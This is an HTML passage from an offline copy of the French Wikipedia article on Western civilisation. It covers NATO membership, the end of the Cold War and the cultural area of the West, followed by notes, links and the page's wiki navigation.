<p>La <a href="../../../../articles/t/u/r/Turquie.html" title="Turquie">Turquie</a> était membre de l'OTAN mais elle était rarement considérée comme étant du premier monde ou bien du monde occidentale. L'Espagne n'a rejoint l'OTAN qu'en <a href="../../../../articles/1/9/8/1982.html" title="1982">1982</a>, vers la fin de la guerre froide et après la mort de l'autoritaire général Franco. Le monde occidental devint synonyme du premier monde mais il comprenait les exceptions de l'Europe occidentale mentionnées plus haut dans ce paragraphe et excluait la Turquie.</p>
<p>La fin de la Guerre Froide et l'intégration (ou réintégration) progressive de <a href="../../../../articles/p/a/y/Pays_d%27Europe_centrale_et_orientale_6617.html" class="mw-redirect" title="Pays d'Europe centrale et orientale">pays d'Europe centrale et orientale</a> étendit l'aire de culture occidentale et fit disparaitre la notion traditionnelle d'affrontement <a href="../../../../articles/c/o/m/Communiste.html" class="mw-redirect" title="Communiste">communiste</a> / <a href="../../../../articles/c/a/p/Capitaliste.html" class="mw-redirect" title="Capitaliste">capitaliste</a> pour adopter d'avantage une définition culturelle, voir même ethnique selon certaines définitions.</p>
<div style="clear:both;"></div>
<p><a name="Aire_culturelle_de_la_civilisation_occidentale_au_d.C3.A9but_du_XXIe_si.C3.A8cle" id="Aire_culturelle_de_la_civilisation_occidentale_au_d.C3.A9but_du_XXIe_si.C3.A8cle"></a></p>
<h3><span class="editsection">[<a href="../../../../articles/c/i/v/Civilisation_occidentale.html" title="Modifier la section&#160;: Aire culturelle de la civilisation occidentale au début du XXIe siècle">modifier</a>]</span> <span class="mw-headline">Aire culturelle de la civilisation occidentale au début du XXIe siècle</span></h3>
<div class="center">
<div class="thumb tnone">
<div class="thumbinner" style="width:802px;"><a href="../../../../articles/c/i/v/Image%7ECivilisations_actuelles.png_a8b0.html" class="image" title="Les différentes civilisations du Monde actuel avec l'aire culturelle de la civilisation occidentale en bleu"><img alt="Les différentes civilisations du Monde actuel avec l'aire culturelle de la civilisation occidentale en bleu" src="../../../../images/shared/thumb/7/7d/Civilisations_actuelles.png/800px-Civilisations_actuelles.png" width="800" height="427" border="0" class="thumbimage" /></a>
<div class="thumbcaption">
<div class="magnify"><a href="../../../../articles/c/i/v/Image%7ECivilisations_actuelles.png_a8b0.html" class="internal" title="Agrandir"><img src="../../../../skins/common/images/magnify-clip.png" width="15" height="11" alt="" /></a></div>
Les différentes civilisations du Monde actuel avec l'aire culturelle de la <b>civilisation occidentale en bleu</b></div>
</div>
</div>
</div>
<p><a name="Notes" id="Notes"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/c/i/v/Civilisation_occidentale.html" title="Modifier la section&#160;: Notes">modifier</a>]</span> <span class="mw-headline">Notes</span></h2>
<div style="font-size: 85%">
<ol class="references">
<li id="cite_note-0"><span class="renvois_vers_le_texte"><a href="#cite_ref-0" title="">↑</a></span> <a href="http://fr.ca.encarta.msn.com/encyclopedia_761567145_4/Yougoslavie.html" class="external free" title="http://fr.ca.encarta.msn.com/encyclopedia_761567145_4/Yougoslavie.html" rel="nofollow">http://fr.ca.encarta.msn.com/encyclopedia_761567145_4/Yougoslavie.html</a> Article Encarta sur la Yougoslavie</li>
</ol>
</div>
<p><a name="Voir_aussi" id="Voir_aussi"></a></p>
<h2><span class="editsection">[<a href="../../../../articles/c/i/v/Civilisation_occidentale.html" title="Modifier la section&#160;: Voir aussi">modifier</a>]</span> <span class="mw-headline">Voir aussi</span></h2>
<ul>
<li><b><a href="../../../../articles/o/c/c/Occident.html" title="Occident">Occident</a></b> (présentation géographique)</li>
<li><a href="../../../../articles/o/c/c/Occident_chr%C3%A9tien.html" title="Occident chrétien">Occident chrétien</a> (<i>dans le vocable religieux</i>)</li>
<li><a href="../../../../articles/o/c/c/Occidentalisation.html" class="mw-redirect" title="Occidentalisation">Occidentalisation</a> (<a href="../../../../../en/articles/w/e/s/Westernisation.html" class="extiw" title="en:Westernisation">en</a>) (forme de <a href="../../../../articles/r/a/y/Rayonnement_culturel.html" title="Rayonnement culturel">Rayonnement culturel</a>)</li>
</ul>
<p><a name="Liens_externes" id="Liens_externes"></a></p>
<h3><span class="editsection">[<a href="../../../../articles/c/i/v/Civilisation_occidentale.html" title="Modifier la section&#160;: Liens externes">modifier</a>]</span> <span class="mw-headline">Liens externes</span></h3>
<ul>
<li><a href="http://www2.marianopolis.edu/civilisation/" class="external text" title="http://www2.marianopolis.edu/civilisation/" rel="nofollow">Histoire de la civilisation occidentale</a></li>
<li><span style="cursor:help;font-family:monospace;font-weight:bold;font-size:small" title="Langue&#160;: français">(fr)</span> <a href="http://www.oulala.net/Portail/article.php3?id_article=2288&amp;var_recherche=majfud" class="external text" title="http://www.oulala.net/Portail/article.php3?id_article=2288&amp;var_recherche=majfud" rel="nofollow">Le lent suicide de l’Occident</a> par Jorge Majfud</li>
</ul>
<ul id="bandeau-portail" class="bandeau-portail">
<li><span class="bandeau-portail-element"><span class="bandeau-portail-icone"><a href="../../../../articles/a/c/_/Image%7EAc_papyrus.png_c7de.html" class="image" title="Icône du portail de l’histoire"><img alt="Icône du portail de l’histoire" src="../../../../images/shared/thumb/6/61/Ac_papyrus.png/30px-Ac_papyrus.png" width="30" height="24" border="0" /></a></span> <span class="bandeau-portail-texte"><a href="../../../../articles/c/l/i/Portail%7ECliop%C3%A9dia_533a.html" title="Portail:Cliopédia">Portail de l’histoire</a></span></span></li>
<li><span class="bandeau-portail-element"><span class="bandeau-portail-icone"><a href="../../../../articles/g/e/o/Image%7EGeographylogo.svg_5995.html" class="image" title="Icône du portail de la géographie"><img alt="Icône du portail de la géographie" src="../../../../images/shared/thumb/e/e9/Geographylogo.svg/24px-Geographylogo.svg.png" width="24" height="24" border="0" /></a></span> <span class="bandeau-portail-texte"><a href="../../../../articles/g/%C3%A9/o/Portail%7EG%C3%A9ographie_8948.html" title="Portail:Géographie">Portail de la géographie</a></span></span></li>
</ul>


<!-- 
NewPP limit report
Preprocessor node count: 299/1000000
Post-expand include size: 3725/2048000 bytes
Template argument size: 468/2048000 bytes
Expensive parser function count: 0/500
-->
<div class="printfooter">
</div>
	    <div id="catlinks"><div id='catlinks' class='catlinks'><div id="mw-normal-catlinks"><a href="../../../../articles/a/c/c/Cat%C3%A9gorie%7EAccueil_1aae.html" title="Catégorie:Accueil">Catégories</a>&nbsp;:&#32;<span dir='ltr'><a href="../../../../articles/c/i/v/Cat%C3%A9gorie%7ECivilisation_5162.html" title="Catégorie:Civilisation">Civilisation</a></span> | <span dir='ltr'><a href="../../../../articles/g/%C3%A9/o/Cat%C3%A9gorie%7EG%C3%A9opolitique_b691.html" title="Catégorie:Géopolitique">Géopolitique</a></span></div></div></div>	    <!-- end content -->
	    <div class="visualClear"></div>
	  </div>
	</div>
      </div>
      <div id="column-one">
	<div id="p-cactions" class="portlet">
	  <h5>Views</h5>
	  <ul>
	    <li id="ca-nstab-main"
	       class="selected"	       ><a href="../../../../articles/c/i/v/Civilisation_occidentale.html">Article</a></li><li id="ca-talk"
	       	       ><a href="../../../../articles/c/i/v/Discuter%7ECivilisation_occidentale_b405.html">Discussion</a></li><li id="ca-current"
	       	       ><a href="http://fr.wikipedia.org/wiki/Civilisation_occidentale">Version actuelle</a></li>	  </ul>
	</div>
	<div class="portlet" id="p-logo">
	  <a style="background-image: url(../../../../misc/Wiki.png);"
	    href="../../../../index.html"
	    title="Accueil"></a>
	</div>
	<script type="text/javascript"> if (window.isMSIE55) fixalpha(); </script>
		<div class='portlet' id='p-navigation'>
	  <h5>Navigation</h5>
	  <div class='pBody'>
	    <ul>
	    	      <li id="n-mainpage"><a href="../../../../index.html">Accueil</a></li>
	     	      <li id="n-thema"><a href="../../../../articles/a/c/c/Portail%7EAccueil_bcc9.html">Portails thématiques</a></li>
	     	      <li id="n-alphindex"><a href="../../../../articles/t/o/u/Special%7EToutes_les_pages_fabc.html">Index alphabétique</a></li>
	     	      <li id="n-randompage"><a href="../../../../articles/p/a/g/Special%7EPage_au_hasard_9c81.html">Un article au hasard</a></li>
	     	      <li id="n-contact"><a href="../../../../articles/c/o/n/Wikip%C3%A9dia%7EContact_929e.html">Contacter Wikipédia</a></li>
	     	    </ul>
	  </div>
	</div>
		<div class='portlet' id='p-Contribuer'>
	  <h5>Contribuer</h5>
	  <div class='pBody'>
	    <ul>
	    	      <li id="n-help"><a href="../../../../articles/s/o/m/Aide%7ESommaire_c9f0.html">Aide</a></li>
	     	      <li id="n-portal"><a href="../../../../articles/a/c/c/Wikip%C3%A9dia%7EAccueil_5272.html">Communauté</a></li>
	     	      <li id="n-recentchanges"><a href="../../../../articles/m/o/d/Special%7EModifications_r%C3%A9centes_b222.html">Modifications récentes</a></li>
	     	      <li id="n-aboutwp"><a href="../../../../articles/a/c/c/Wikip%C3%A9dia%7EAccueil_des_nouveaux_arrivants_0784.html">Accueil des nouveaux arrivants</a></li>
	     	      <li id="n-sitesupport"><a href="http://meta.wikimedia.org/wiki/Faire_un_don:_explication">Faire un don</a></li>
	     	    </ul>
	  </div>
	</div>
		<div id="p-search" class="portlet">
	  <h5><label for="searchInput">Rechercher</label></h5>
	  <div id="searchBody" class="pBody">
	    <form action="javascript:goToStatic(3)" id="searchform"><div>
	      <input id="searchInput" name="search" type="text"
	        accesskey="C" value="" />
	      <input type='submit' name="go" class="searchButton" id="searchGoButton"
	        value="Aller" />
	    </div></form>
	  </div>
	</div>
	<div id="p-lang" class="portlet">
	  <h5>Autres langues</h5>
	  <div class="pBody">
	    <ul>
	      	      <li>
	      <a href="../../../../../cs/articles/z/%C3%A1/p/Z%C3%A1padn%C3%AD_kultura.html">Česky</a>
	      </li>
	      	      <li>
	      <a href="../../../../../de/articles/w/e/s/Westliche_Welt_5ff6.html">Deutsch</a>
	      </li>
	      	      <li>
	      <a href="../../../../../en/articles/w/e/s/Western_culture.html">English</a>
	      </li>
	      	      <li>
	      <a href="../../../../../es/articles/o/c/c/Occidental.html">Español</a>
	      </li>
	      	      <li>
	      <a href="../../../../../eo/articles/o/k/c/Okcidenta_civilizo.html">Esperanto</a>
	      </li>
	      	      <li>
	      <a href="../../../../../he/articles/%D7%94/%D7%A2/%D7%95/%D7%94%D7%A2%D7%95%D7%9C%D7%9D_%D7%94%D7%9E%D7%A2%D7%A8%D7%91%D7%99.html">עברית</a>
	      </li>
	      	      <li>
	      <a href="../../../../../lt/articles/v/a/k/Vakar%C5%B3_pasaulis.html">Lietuvių</a>
	      </li>
	      	      <li>
	      <a href="../../../../../nl/articles/w/e/s/Westerse_wereld.html">Nederlands</a>
	      </li>
	      	      <li>
	      <a href="../../../../../ja/articles/%E8%A5%BF/%E6%B4%8B/%E6%96%87/%E8%A5%BF%E6%B4%8B%E6%96%87%E6%98%8E.html">日本語</a>
	      </li>
	      	      <li>
	      <a href="../../../../../pt/articles/c/u/l/Cultura_ocidental.html">Português</a>
	      </li>
	      	      <li>
	      <a href="../../../../../ru/articles/%D0%B7/%D0%B0/%D0%BF/%D0%97%D0%B0%D0%BF%D0%B0%D0%B4_%28%D1%86%D0%B8%D0%B2%D0%B8%D0%BB%D0%B8%D0%B7%D0%B0%D1%86%D0%B8%D1%8F%29.html">Русский</a>
	      </li>
	      	      <li>
	      <a href="../../../../../fi/articles/l/%C3%A4/n/L%C3%A4nsimainen_kulttuuri.html">Suomi</a>
	      </li>
	      	      <li>
	      <a href="../../../../../yi/articles/%D7%95/%D7%95/%D7%A2/%D7%95%D7%95%D7%A2%D7%A1%D7%98%D7%9C%D7%99%D7%9B%D7%A2_%D7%A7%D7%95%D7%9C%D7%98%D7%95%D7%A8.html">ייִדיש</a>
	      </li>
	      	      <li>
	      <a href="../../../../../zh/articles/%E8%A5%BF/%E6%96%B9/%E6%96%87/%E8%A5%BF%E6%96%B9%E6%96%87%E5%8C%96.html">中文</a>
	      </li>
	      	    </ul>
	  </div>
	</div>
	      </div><!-- end of the left (by default at least) column -->
      <div class="visualClear"></div>
      <div id="footer">
    <div id="f-poweredbyico"><a href="http://www.mediawiki.org/"><img src="../../../../skins/common/images/poweredby_mediawiki_88x31.png" alt="Powered by MediaWiki" /></a></div>	<div id="f-copyrightico"><a href="http://wikimediafoundation.org/"><img src="../../../../misc/wikimedia-button.png" border="0" alt="Wikimedia Foundation"/></a></div>	<ul id="f-list">
	  	  	  <li id="f-credits">Cette page a été modifiée pour la dernière fois le 16 juin 2008 à 09:36 par Utilisateur <a href="../../../../articles/s/y/n/Utilisateur%7ESyndicaliste_%C3%A9tudiant_4207.html" title="Utilisateur:Syndicaliste étudiant">Syndicaliste étudiant</a>. Basé sur le travail de Utilisateur(s) <a href="../../../../articles/f/a/d/Utilisateur%7EFadila68_3f99.html" title="Utilisateur:Fadila68">Fadila68</a>, <a href="../../../../articles/d/i/l/Utilisateur%7EDiligent_f5a7.html" title="Utilisateur:Diligent">Diligent</a>, <a href="../../../../articles/b/a/d/Utilisateur%7EBadmood_4dbf.html" title="Utilisateur:Badmood">Badmood</a>, <a href="../../../../articles/a/u/x/Utilisateur%7EAuxerroisdu68_7130.html" title="Utilisateur:Auxerroisdu68">Auxerroisdu68</a>, <a href="../../../../articles/a/n/a/Utilisateur%7EAnalphabot_18d0.html" title="Utilisateur:Analphabot">Analphabot</a>, <a href="../../../../articles/d/u/m/Utilisateur%7EDumZiBoT_1015.html" title="Utilisateur:DumZiBoT">DumZiBoT</a>, <a href="../../../../articles/s/h/a/Utilisateur%7EShakki_d042.html" title="Utilisateur:Shakki">Shakki</a>, <a href="../../../../articles/l/e/_/Utilisateur%7ELe_Pied-bot_aba6.html" title="Utilisateur:Le Pied-bot">Le Pied-bot</a>, <a href="../../../../articles/a/a/k/Utilisateur%7EAaker_6896.html" title="Utilisateur:Aaker">Aaker</a>, <a href="../../../../articles/s/a/n/Utilisateur%7ESan_Jose_4222.html" title="Utilisateur:San Jose">San Jose</a>, <a href="../../../../articles/c/l/%C3%A9/Utilisateur%7ECl%C3%A9ment_50_b9b3.html" title="Utilisateur:Clément 50">Clément 50</a>, <a href="../../../../articles/j/e/r/Utilisateur%7EJerome66_56af.html" title="Utilisateur:Jerome66">Jerome66</a>, <a href="../../../../articles/m/a/c/Utilisateur%7EMaCRoEco_fe2a.html" title="Utilisateur:MaCRoEco">MaCRoEco</a>, <a href="../../../../articles/m/m/b/Utilisateur%7EMMBot_510c.html" title="Utilisateur:MMBot">MMBot</a>, <a href="../../../../articles/n/i/c/Utilisateur%7ENicolas_Ray_14b8.html" title="Utilisateur:Nicolas Ray">Nicolas Ray</a>, <a href="../../../../articles/m/-/l/Utilisateur%7EM-le-mot-dit_5b07.html" title="Utilisateur:M-le-mot-dit">M-le-mot-dit</a>, <a href="../../../../articles/e/r/a/Utilisateur%7EErabot_61a5.html" title="Utilisateur:Erabot">Erabot</a>, <a href="../../../../articles/f/u/n/Utilisateur%7EFunnyhat_0aac.html" title="Utilisateur:Funnyhat">Funnyhat</a>, <a href="../../../../articles/c/h/i/Utilisateur%7EChicobot_8e22.html" title="Utilisateur:Chicobot">Chicobot</a>, <a href="../../../../articles/m/i/n/Utilisateur%7EMinoos_b667.html" title="Utilisateur:Minoos">Minoos</a>, <a href="../../../../articles/g/r/i/Utilisateur%7EGrimlock_0cc0.html" title="Utilisateur:Grimlock">Grimlock</a>, <a href="../../../../articles/p/i/x/Utilisateur%7EPixeltoo_d08c.html" title="Utilisateur:Pixeltoo">Pixeltoo</a>, <a href="../../../../articles/l/i/q/Utilisateur%7ELiquid-aim-bot_78e0.html" title="Utilisateur:Liquid-aim-bot">Liquid-aim-bot</a>, <a href="../../../../articles/r/e/m/Utilisateur%7ERemihh_6f96.html" title="Utilisateur:Remihh">Remihh</a>, Badour, <a href="../../../../articles/n/i/c/Utilisateur%7ENicolas_Lardot_245f.html" title="Utilisateur:Nicolas Lardot">Nicolas Lardot</a>, <a href="../../../../articles/u/l/t/Utilisateur%7EUltrogothe_0124.html" title="Utilisateur:Ultrogothe">Ultrogothe</a>, <a href="../../../../articles/d/a/r/Utilisateur%7EDarth_Gaut_eac6.html" title="Utilisateur:Darth Gaut">Darth Gaut</a>, <a href="../../../../articles/l/i/l/Utilisateur%7ELilliputien_dc17.html" title="Utilisateur:Lilliputien">Lilliputien</a>, <a href="../../../../articles/l/e/_/Utilisateur%7ELe_sotr%C3%A9_76aa.html" title="Utilisateur:Le sotré">Le sotré</a>, <a href="../../../../articles/n/e/u/Utilisateur%7ENeuceu_d755.html" title="Utilisateur:Neuceu">Neuceu</a>, <a href="../../../../articles/r/%C3%A9/m/Utilisateur%7ER%C3%A9mih_4f34.html" title="Utilisateur:Rémih">Rémih</a>, <a href="../../../../articles/b/o/b/Utilisateur%7EBob08_5a46.html" title="Utilisateur:Bob08">Bob08</a>, <a href="../../../../articles/l/a/u/Utilisateur%7ELautreamont_4511.html" title="Utilisateur:Lautreamont">Lautreamont</a>, <a href="../../../../articles/b/a/n/Utilisateur%7EBananaflo_d24d.html" title="Utilisateur:Bananaflo">Bananaflo</a>, <a href="../../../../articles/g/e/n/Utilisateur%7EGene.arboit_710a.html" title="Utilisateur:Gene.arboit">Gene.arboit</a>, <a href="../../../../articles/k/o/y/Utilisateur%7EKoyuki_0284.html" title="Utilisateur:Koyuki">Koyuki</a>, <a href="../../../../articles/d/a/v/Utilisateur%7EDavid_Legrand_3cc2.html" title="Utilisateur:David Legrand">David Legrand</a>, Max2006, <a href="../../../../articles/s/e/x/Utilisateur%7ESextus_e26d.html" title="Utilisateur:Sextus">Sextus</a>, <a href="../../../../articles/m/e/d/Utilisateur%7EMedBot_8f10.html" title="Utilisateur:MedBot">MedBot</a>, <a href="../../../../articles/h/o/l/Utilisateur%7EHolycharly_dc2b.html" title="Utilisateur:Holycharly">Holycharly</a>, <a href="../../../../articles/s/a/n/Utilisateur%7ESanao_f541.html" title="Utilisateur:Sanao">Sanao</a> et <a href="../../../../articles/l/e/o/Utilisateur%7ELeonardoRob0t_2dda.html" title="Utilisateur:LeonardoRob0t">LeonardoRob0t</a> et Utilisateur(s) non enregistré(s) de Wikipédia.</li>	  <li id="f-copyright"><span style="white-space:normal"><a class="internal" href="http://fr.wikipedia.org/wiki/Wikip%C3%A9dia:Droit_d'auteur" title="Droit d'auteur">Droit d'auteur</a> : Tous les textes sont disponibles sous les termes de la <a class="internal" href="http://fr.wikipedia.org/wiki/Wikip%C3%A9dia:Licence_de_documentation_libre_GNU" title="GFDL">licence de documentation libre GNU</a> (GFDL).<br/>
Wikipedia® est une marque déposée de la <a href="http://wikimediafoundation.org/wiki/Accueil" title="Wikimedia Foundation">Wikimedia Foundation, Inc.</a>, organisation de bienfaisance régie par le paragraphe <a class="internal" href="http://en.wikipedia.org/wiki/501(c)" title="501(c)">501(c)(3)</a> du code fiscal des États-Unis.</span><br/></li>	  <li id="f-about"><a href="../../../../articles/%C3%A0/_/p/Wikip%C3%A9dia%7E%C3%80_propos_5de1.html" title="Wikipédia:À propos">À propos de Wikipédia</a></li>	  <li id="f-disclaimer"><a href="../../../../articles/a/v/e/Wikip%C3%A9dia%7EAvertissements_g%C3%A9n%C3%A9raux_fef1.html" title="Wikipédia:Avertissements généraux">Avertissements</a></li>	  	</ul>
      </div>
    </div>
  </body>
</html>

SAMX